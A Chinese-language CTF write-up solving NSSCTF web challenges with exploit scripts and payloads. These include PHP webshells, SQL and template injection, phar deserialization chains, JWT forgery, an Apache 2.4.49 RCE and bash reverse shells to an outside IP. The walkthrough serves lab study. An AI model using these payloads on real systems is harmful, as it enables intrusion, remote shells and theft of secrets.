【Web】NSSRound#1-20 Basic 刷题记录(全)

目录

[NSSRound#1 Basic]basic_check

[NSSRound#1 Basic]sql_by_sql 

[NSSCTF 2nd]php签到 

[NSSCTF 2nd]MyBox 

[NSSCTF 2nd]MyBox(revenge) 

[NSSCTF 2nd]MyHurricane 

[NSSCTF 2nd]MyJs 

[NSSRound#3 Team]This1sMysql 

[NSSRound#3 Team]path_by_path

[NSSRound#4 SWPU]1zweb

[NSSRound#4 SWPU]1zweb(revenge)

[NSSRound#4 SWPU]ez_rce

[NSSRound#6 Team]check(V1)

[NSSRound#6 Team]check(Revenge)

[NSSRound#7 Team]ec_RCE

[NSSRound#7 Team]0o0

[NSSRound#7 Team]ShadowFlag

[NSSRound#7 Team]新的博客

[NSSRound#8 Basic]MyPage

[NSSRound#8 Basic]MyDoor 

[NSSRound#8 Basic]Upload_gogoggo

[NSSRound#8 Basic]ez_node 

[NSSRound#13 Basic]flask?jwt?

[NSSRound#13 Basic]flask?jwt?(hard)

[NSSRound#13 Basic]ez_factors 

[NSSRound#13 Basic]MyWeb

[NSSRound#13 Basic]TimeTrcer 

[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]了解过PHP特性吗

[NSSRound#17 Basic]真·签到

[NSSRound#17 Basic]真的是文件上传吗?

[NSSRound#18 Basic]门酱想玩什么呢?

[NSSRound#18 Basic]Becomeroot

[NSSRound#18 Basic]easy_rw 

[NSSRound#20 Basic]真亦假,假亦真

[NSSRound#20 Basic]CSDN_To_PDF V1.2

[NSSRound#20 Basic]baby-Codeigniter 

[NSSRound#20 Basic]组合拳!


[NSSRound#1 Basic]basic_check

HTTP OPTIONS请求方法的主要作用是查询目标资源(URL)支持的通信选项。客户端可以通过发送OPTIONS请求来检查服务器支持哪些HTTP方法(如GET、POST、DELETE等),以及了解服务器的其他能力。OPTIONS请求可以被用于两种场景:

  1. 针对特定资源的查询:当OPTIONS请求发送到一个具体的URL上时,它询问的是那个特定资源支持哪些HTTP方法。这可以让客户端知道如何与该资源交互。

  2. 整站级别的能力查询:当OPTIONS请求的URL是星号(*)时,比如OPTIONS * HTTP/1.1,它表示的是对整个服务器的能力进行查询,而不是针对某个具体的资源。

postman发送请求,回包的响应头显示服务器支持PUT方法 

 PUT创建一个新路由,写马

PUT请求如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本

访问/yjh.php,命令执行拿flag 

[NSSRound#1 Basic]sql_by_sql 

二次注入详解

先注册一个恶意用户

 拿这个账号登录

修改密码

 拿admin/12345成功登录,查询用户是注入点

直接sqlmap跑出来

[NSSCTF 2nd]php签到 

关于pathinfo绕过,参考文章:

pathinfo两三事-安全客 - 安全资讯平台

贴出脚本

import requests as reqdef upload(file_path, new_file_name, url):"""上传一个文件到指定的URL,并在上传前修改文件名。:param file_path: 要上传的文件的本地路径。:param new_file_name: 上传后文件的新名称。:param url: 上传文件的目标URL。"""# 以二进制方式读取文件内容with open(file_path, 'rb') as file_content:# 在files字典中使用新的文件名files = {'file': (new_file_name, file_content)}# 发送POST请求上传文件response = req.post(url, files=files)print(response.text)if __name__ == "__main__":# 定义上传信息file_path_to_upload = "D:\CTF\码\yjh3.php"  # 修改为你的PHP文件路径new_file_name = 'yjh.php%2F%2e'  # 上传后的文件名upload_url = "http://node5.anna.nssctf.cn:28182/"  # 修改为实际的上传URL# 执行上传upload(file_path_to_upload, new_file_name, upload_url)

访问/yjh.php,读环境变量拿到flag 

[NSSCTF 2nd]MyBox 

进来啥也没有,就给了个?url=xxx

经过尝试可以读本地文件

?url=file:///etc/passwd

 直接读环境变量偷鸡成功

?url=file:///proc/1/environ

[NSSCTF 2nd]MyBox(revenge) 

这次直接不给读环境变量了

?url=file:///app/app.py

读app.py源码

 这里后端对mybox://的处理就和gopher://一样,完全可以按照gopher来打

payload生成脚本

import urllib.parse
test ="""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
print(urllib.parse.quote(result))

?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

随便访问一个不存在的php文件后,回显报错内容,得知Server版本为Apache/2.4.49  

Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客

payload生成脚本:

import urllib.parse
payload ="""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 59echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

反弹shell拿到flag 

 

[NSSCTF 2nd]MyHurricane 

进来直接给了源码

import tornado.ioloop
import tornado.web
import osBASE_DIR = os.path.dirname(__file__)def waf(data):bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']for c in bl:if c in data:return Falsefor chunk in data.split():for c in chunk:if not (31 < ord(c) < 128):return Falsereturn Trueclass IndexHandler(tornado.web.RequestHandler):def get(self):with open(__file__, 'r') as f:self.finish(f.read())def post(self):data = self.get_argument("ssti")if waf(data):with open('1.html', 'w') as f:f.write(f"""<html><head></head><body style="font-size: 30px;">{data}</body></html>""")f.flush()self.render('1.html')else:self.finish('no no no')if __name__ == "__main__":app = tornado.web.Application([(r"/", IndexHandler),], compiled_template_cache=False)app.listen(827)tornado.ioloop.IOLoop.current().start()

就是要绕过waf实现tornado模板注入

ban掉了这些

'\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'

 tornado模板注入-CSDN博客

可以直接读环境变量偷鸡

 payload:

ssti={% include /proc/self/environ %}

也可以反弹shell

payload:

__import__('os').system('bash -c \'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\'')
"""
&ssti={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&
"""

[NSSCTF 2nd]MyJs 

 先随便注册一个账号,拿到token

 ​​​

拿到的token是jwt

登录后跳转一个update的界面 

 随便改一下,回显不能修改uid

黑盒只能测到这了,扫一下目录

扫出来/source,访问,拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');global.secrets = [];express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({name: 'session',secret: randomize('a', 16),resave: true,saveUninitialized: true
}))
.get('/', (req, res) => {if (req.session.data) {res.redirect('/home');} else {res.redirect('/login')}
})
.get('/source', (req, res) => {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {if (req.method == "GET") {res.render('login.ejs', {msg: null});}if (req.method == "POST") {const {username, password, token} = req.body;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: "HS256"});if (username === user.username && password === user.password) {req.session.data = {username: username,count: 0,}res.redirect('/home');} else {return res.render('login.ejs', {msg: 'login error.'});}}
})
.all('/register', (req, res) => {if (req.method == "GET") {res.render('register.ejs', {msg: null});}if (req.method == "POST") {const {username, password} = req.body;if (!username || username == 'nss') {return res.render('register.ejs', {msg: "Username existed."});}const secret = crypto.randomBytes(16).toString('hex');const secretid = global.secrets.length;global.secrets.push(secret);const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});res.render('register.ejs', {msg: "Token: " + token});}
})
.all('/home', (req, res) => {if (!req.session.data) {return res.redirect('/login');}res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: null})
})
.post('/update', (req, res) => {if(!req.session.data) {return res.redirect('/login');}if (req.session.data.username !== 'nss') {return res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: 'U cant change uid'})}let data = req.session.data || {};req.session.data = lodash.merge(data, req.body);console.log(req.session.data.outputFunctionName);res.redirect('/home');
})
.listen(827, '0.0.0.0')

意思就是说以nss账号登录就可在/update路由下打一个ejs原型链污染

如何以nss账号登录,关键在/login路由

  1. if (req.method == "POST") { ... }: 这是一个条件语句,用于检查请求的方法是否为 POST。只有当请求的方法为 POST 时才会执行后续的逻辑。

  2. const {username, password, token} = req.body;: 这一行从请求的 body 中提取出 username、password 和 token。这些数据通常是用户在登录表单中输入的信息。

  3. const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;: 这一行解析了 token,从中提取出 secretid。token 通常是用户在登录时生成的身份验证令牌。

  4. if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { ... }: 这个条件语句检查 sid 是否有效。如果 sid 未定义、为空或者不在有效范围内,则返回一个登录错误消息。

  5. const secret = global.secrets[sid];: 这一行从全局的 secrets 数组中根据 sid 获取对应的密钥。

  6. const user = jwt.verify(token, secret, {algorithm: "HS256"});: 这一行使用 jwt.verify 方法验证 token 的有效性,并解析出其中的用户信息。需要注意的是,这里的 secret 是用来验证 token 签名的密钥。

  7. if (username === user.username && password === user.password) { ... }: 这个条件语句检查用户输入的用户名和密码是否与 token 中解析出的用户信息匹配。如果匹配成功,则将用户信息存储在会话中,并重定向到 '/home' 页面。

参考文章

从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

关于身份的验证是通过解析token进行的,这里用空算法伪造jwt即可(algorithm的误用)

exp

import jwt
import base64# 构造JWT的payload部分
payload = {"username": "nss","password": "123456","secretid": [],  # 用具体的值替代列表"iat": 1712626361
}# 生成JWT,对于algorithm='none',传递None作为密钥
token = jwt.encode(payload, None, algorithm="none")# 为了展示,将JWT分割成三个部分,并单独打印payload部分的base64解码内容
header, payload, signature = token.split('.')
decoded_payload = base64.urlsafe_b64decode(payload + "==").decode()print("Generated JWT:", token)
print("Decoded Payload:", decoded_payload)

以nss身份登录成功

在/update路由打ejs原型链污染

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}

再访问/login,render触发rce,成功反弹shell,读环境变量拿flag 

[NSSRound#3 Team]This1sMysql 

 浅析MySQL恶意服务器读取文件原理

MySQL服务端恶意读取客户端文件漏洞 |

payload:

config[8]=true&mysql[host]=124.222.136.33&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=3306

 这里config[8]就是MYSQLI_OPT_LOCAL_INFILE

GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients

改一下filelist 

读到function.php和class.php的源码 

交给gpt去美化一下

 

class.php

<?phpclass Upload {public $file;public $filesize;public $date;public $tmp;function __construct() {$this->file = $_FILES;}function __toString() {return $this->file["file"]["name"];}function __get($value) {$this->filesize->$value = $this->date;echo $this->tmp;}
}class Show {public $source;public $str;public $filter;public function __construct($file) {$this->source = $file;$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}public function __toString() {$content = $this->str[0]->source;$content = $this->str[1]->schema;return $content;}public function __get($value) {$this->show();return $this->$value;}public function __set($key, $value) {$this->$key = $value;}public function show() {$filename = $this->schema . $this->source;include($filename);}public function __wakeup() {if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}if ($this->source !== 'default.jpg') {$this->source = 'default.jpg';}}
}class Test {public $test1;public $test2;function __toString() {$str = $this->test2->test;return 'test';}function __get($value) {return $this->$value;}function __destruct() {echo $this->test1;}
}?>

 function.php

<?php$mysqlpath = isset($_GET['mysqlpath']) ? $_GET['mysqlpath'] : 'mysql.txt';if (!file_exists($mysqlpath)) {die("NoNONo!");
} else {$arr = json_decode(file_get_contents($mysqlpath));if ($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)) {echo "connect success";} else {echo "connect fail";}
}?>

 看到mysql.txt

访问/mysql.txt,拿到靶机数据库的相关信息

查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。 

import requests
import datetimeurl="http://node4.anna.nssctf.cn:28297/"
path_dir=''for i in range(1,50):low = 41high = 130mid = (high + low) // 2while (low < high):payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)data={"config[3]":payload}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 41 or mid == 130):breakpath_dir += chr(mid)print('目录为:{}'.format(path_dir))

写马,这里config[3]是MYSQLI_INIT_COMMAND

payload:

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/yjh.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

然后打反序列化

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

如果反序列化成功则会include "/nssctf/yjh.php" 

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;
}
class Show{public $source;public $str;public $filter;
}
class Test{public $test1;public $test2;}$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="yjh.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成的phar包用CyberChef处理一下

这次用select xxx into dumpfile来写入 

Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家

payload:

config[3]=select 0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0ab401000001000000110000000100000000007e0100004f3a343a2254657374223a323a7b733a353a227465737431223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b613a323a7b693a303b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b4e3b733a363a2266696c746572223b4e3b7d733a343a2264617465223b733a373a22796a682e706870223b733a333a22746d70223b4f3a343a2254657374223a323a7b733a353a227465737431223b4e3b733a353a227465737432223b723a373b7d7d693a313b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b723a373b733a343a2264617465223b733a383a222f6e73736374662f223b733a333a22746d70223b723a31323b7d7d733a363a2266696c746572223b4e3b7d733a353a227465737432223b4e3b7d08000000746573742e7478740400000077e01466040000000c7e7fd8b60100000000000074657374526909bc912a64220a120c3460990db2db8167a60200000047424d42 into dumpfile '/nssctf/phar.png';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

 

然后function.php中的file_exists触发phar反序列化

?mysqlpath=phar:///nssctf/phar.png 
1=system('env');

读环境变量拿到flag 

[NSSRound#3 Team]path_by_path

进来直接拿到源码

const express = require('express');
const request = require('request');
const bodyParser = require('body-parser');
const { readFileSync } = require('fs');
const { env } = require('process');const app = express();
const urlencodedParser = bodyParser.urlencoded({extended: false});let whoami = {info: {name: env.NAME,bio: env.BIO,},other: {intro: env.INTRO}
}app.get('/', (req, res) => {  res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(readFileSync(__filename));
})app.post('/exec', urlencodedParser, (req, res) => {const path = req.body.path;const url = new URL(path, 'http://127.0.0.1:5000');request.get(url.toString(),{},(e, r, b) => {let resp = JSON.parse(b);whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f];});res.send('');
})app.get('/whoami', (req, res) => {let public = req.query.public;public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info');let field = req.query.field;field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');res.send(`The ${field} is ${whoami[public][field]}`);
})process.on('uncaughtException',function(err){})app.listen(8000, '0.0.0.0', () => {})
  1. 根路由(GET /:当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)实现,其中__filename是当前运行脚本的路径。

  2. 执行路由(POST /exec:这个路由接收一个POST请求,包含一个path参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。

  3. 查询路由(GET /whoami:这个路由根据查询参数public(值为infoother)和field(值为namebiointro)返回相应的信息。如果没有指定,它会使用whoami对象中的默认值。

/exec路由写whoami对象属性

/whoami路由可以读 whoami对象属性

先起个flask服务器

from flask import Flask, request, jsonifyapp = Flask(__name__)# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():# 返回一个简单的JSON,模拟客户端代码中期待的响应格式return jsonify({"p": "info","f": "FLAG"
})if __name__ == '__main__':app.run(host='0.0.0.0', port=1337, debug=True)

这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性

 再修改flask源码返回的json

from flask import Flask, request, jsonifyapp = Flask(__name__)# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():# 返回一个简单的JSON,模拟客户端代码中期待的响应格式return jsonify({"p": "__proto__","f": "field","field": "FLAG"
})if __name__ == '__main__':app.run(host='0.0.0.0', port=1337, debug=True)

这里的目的是让whoami.field=FLAG

最终payload:

/whoami?public=info&field=Z3r4y
The ${field} is ${whoami[public][field]}

补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}

[NSSRound#4 SWPU]1zweb

可以直接读靶机本地文件

偷鸡环境变量权限不够,直接读/flag

file=../../../../../../flag&submit=

[NSSRound#4 SWPU]1zweb(revenge)

不能直接读/flag了

先读index.php

file=/var/www/html/index.php&submit=

拿到源码

给了一个恶意类,然后file_get_contents可以触发phar反序列化

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}

 同理读/var/www/html/upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

绕过wakeup不解释,因为修改了文件内容所以要重写下签名,绕过_HALT_COMPILE需要进行gzip压缩

脚本

<?php
class LoveNss{public $ljt = "Misc";public $dky = "Re";public $cmd = "system('cat /f*');";
}
$a = new LoveNss();
$a->ljt = "Misc";
$a->dky = "Re";$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('GIF'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();
import gzip
import hashlib
with open("exp.phar",'rb') as f:f = f.read()
s = f[:-28]
s = s.replace(b'3:{', b'4:{')
h = f[-8:]
newf = s + hashlib.sha1(s).digest() + h
print(newf)
newf = gzip.compress(newf)
with open('exp.png','wb') as f2:f2.write(newf)

先上传exp.png

再触发phar反序列化 

phar:// 跟zip: //协议都可以访问zip格式压缩包内容

payload:

file=phar:///var/www/html/upload/exp.png&submit=

[NSSRound#4 SWPU]ez_rce

信息搜集啥也没有,抓包看响应头,Apache/2.4.49

历史漏洞:Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客 

echo;ls /

echo;grep -r "NSS" /flag_is_here

[NSSRound#6 Team]check(V1)

进来给到源码

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import osapp = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])def allowed_file(filename):return '.' in filename and \filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/')
def index():with open(__file__, 'r') as f:return f.read()@app.route('/upload', methods=['POST'])
def upload_file():if 'file' not in request.files:return '?'file = request.files['file']if file.filename == '':return '?'print(file.filename)if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)if(os.path.exists(file_save_path)):return 'This file already exists'file.save(file_save_path)else:return 'This file is not a tarfile'try:tar = tarfile.open(file_save_path, "r")tar.extractall(app.config['UPLOAD_FOLDER'])except Exception as e:return str(e)os.remove(file_save_path)return 'success'@app.route('/download', methods=['POST'])
def download_file():filename = request.form.get('filename')if filename is None or filename == '':return '?'filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)if '..' in filename or '/' in filename:return '?'if not os.path.exists(filepath) or not os.path.isfile(filepath):return '?'with open(filepath, 'r') as f:return f.read()@app.route('/clean', methods=['POST'])
def clean_file():os.system('/tmp/clean.sh')return 'success'if __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=80)

上传路由/upload

  • 处理文件上传请求。首先检查是否有文件被上传,文件名是否为空,以及文件类型是否被允许。同时检查文件名中不包含../来防止目录遍历攻击。
  • 如果检查通过,文件将被保存到UPLOAD_FOLDER指定的目录下。
  • 使用tarfile模块尝试打开保存的tar文件并解压到上传目录。如果操作失败,返回错误信息。
  • 最后,上传的tar文件被删除,只保留解压出来的文件或目录。

  • 代码中尝试防范了目录遍历攻击通过检查文件名中是否包含../
  • 限制了上传文件类型为tar文件,降低了恶意文件上传的风险。

 既然涉及到tar了,那不直接软连接

import requests# 指定要上传的.tar文件的路径
file_path = r'C:\Users\21135\Desktop\flag.tar'
# 指定目标URL
url = 'http://node5.anna.nssctf.cn:28566/upload'# 使用'rb'模式打开文件,意味着以二进制格式只读打开文件
with open(file_path, 'rb') as f:# 'file'是文件的字段名,根据服务器端的要求可能会有所不同files = {'file': (file_path, f, 'application/x-tar')}# 发送POST请求上传文件response = requests.post(url, files=files)# 打印响应内容print(response.text)

上传成功 

 

 访问/download读/flag内容拿到flag

[NSSRound#6 Team]check(Revenge)

这题在/download路由下增加了一个软连接的过滤

@app.route('/download', methods=['POST'])
def download_file():filename = request.form.get('filename')if filename is None or filename == '':return '?'filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)if '..' in filename or '/' in filename:return '?'if not os.path.exists(filepath) or not os.path.isfile(filepath):return '?'if os.path.islink(filepath):return '?'if oct(os.stat(filepath).st_mode)[-3:] != '444':return '?'with open(filepath, 'r') as f:return f.read()

注意到/console可以访问,即debug开启,允许热加载,所以可覆盖靶机文件,就算没覆盖成,也可以算pin来rce

主程序是/app/main.py

exp:

main.py

from flask import Flask,request
import osapp = Flask(__name__)@app.route('/Z3r4y', methods=['GET'])
def download_file():filename = request.args.get('exp')return os.popen(filename).read()if __name__ == "__main__":app.run(host='0.0.0.0', debug=True, port=80)

文件上传脚本

import requests as req
import tarfileurl = 'http://node5.anna.nssctf.cn:28661/'
filename = r"main.py"def changeFileName(filename):filename.name='/app/main.py'return filenamewith tarfile.open("exp.tar", "w") as tar:tar.add(filename,filter=changeFileName)def upload(rawurl):url = rawurl + "upload"response = req.post(url = url, files = {"file":open("exp.tar",'rb')})print(response.text)if __name__ == "__main__":upload(url)

上传成功

 payload:

/Z3r4y?exp=ls+/

 payload:

/Z3r4y?exp=cat+/you_could_never_guess_the_flag_path

[NSSRound#7 Team]ec_RCE

直接多条命令执行

payload;

action=;tac&data=/flag

[NSSRound#7 Team]0o0

抓包看响应头

/?S0uRc3=1

拿到源码 

 参考链接:

PHP filter chains: file read from error-based oracle

php_filter_chain_generator

用上面的工具生成payload,编码规则是6位,所以要用'Xy1on '来生成,最后php://tmp改成level2即可

 访问/Ns_SCtF.php拿到源码

<?php
error_reporting(0);
highlight_file(__FILE__);$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {if (isset($_GET['nss_ctfer.vip'])) {if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";if ($nss && $nSscTF === "NSSRound7") {if (isset($_POST['submit'])) {$file_name = urldecode($_FILES['file']['name']);$path = $_FILES['file']['tmp_name'];if(strpos($file_name, ".png") == false){die("NoO0P00oO0! Png! pNg! pnG!");}$content = file_get_contents($path);$real_content = '<?php die("Round7 do you like");'. $content . '?>';$real_name = fopen($file_name, "w");fwrite($real_name, $real_content);fclose($real_name);echo "OoO0o0hhh.";} else {die("NoO0oO0oO0!");}} else {die("N0o0o0oO0o!");}} else {die("NoOo00O0o0!");}} else {die("Noo0oO0oOo!");}} else {die("NO0o0oO0oO!");}} else {die("No0o0o000O!");}
} else {die("NO0o0o0o0o!");
}

 到文件上传前的一堆php特性还是挺好绕的:

/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7

文件上传部分就是个死亡die绕过

本来内容是<?php die("Round7 do you like");,进行base64编码后,由于base64的字母表不包含部分字符,会只剩下phpdieRound7doyoulike,长度刚好为21,而且base64编码是以4个字节为一组做处理的(四位一解码),接上3个a,就凑成了4的倍数。

webshell的内容为aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+,即<?php eval($_POST[1]);?>

exp:

import requests as reqdef upload(file_path, new_file_name, url):"""上传一个文件到指定的URL,并在上传前修改文件名。:param file_path: 要上传的文件的本地路径。:param new_file_name: 上传后文件的新名称。:param url: 上传文件的目标URL。"""# 以二进制方式读取文件内容with open(file_path, 'rb') as file_content:# 在files字典中使用新的文件名files = {'file': (new_file_name, file_content)}data={'submit': "Z3r4y"}# 发送POST请求上传文件response = req.post(url, files=files ,data=data)print(response.text)if __name__ == "__main__":# 定义上传信息file_path_to_upload = r"C:\Users\21135\Desktop\yjh.php"  # 修改为你的PHP文件路径new_file_name = '%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%79%6a%68%2e%70%6e%67%2e%70%68%70'  # 上传后的文件名upload_url = "http://node5.anna.nssctf.cn:28270/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"  # 修改为实际的上传URL# 执行上传upload(file_path_to_upload, new_file_name, upload_url)

 

成功写马连蚁剑拿到flag

[NSSRound#7 Team]ShadowFlag

进来直接拿到源码


from flask import Flask, request
import os
from time import sleepapp = Flask(__name__)flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:flag2 = f.read()
tag = False@app.route("/")
def index():with open("app.py", "r+") as f:return f.read()@app.route("/shell", methods=['POST'])
def shell():global tagif tag != True:global flag1del flag1tag = Trueos.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")action = request.form["act"]if action.find(" ") != -1:return "Nonono"else:os.system(action)return "Wow"@app.errorhandler(404)
def error_date(error):sleep(5)return "扫扫扫,扫啥东方明珠呢[怒]"if __name__ == "__main__":app.run()

flag1与flag2区别在于,open打开后并没有关闭,with open打开后关闭了,所以flag1会在/proc进程中继续保留,flag2.txt的内容赋值给了flag2,所以flag2可以在控制台读局部变量

payload:

空格用${IFS}绕过

环境没有wget没有nc,于是用python来打

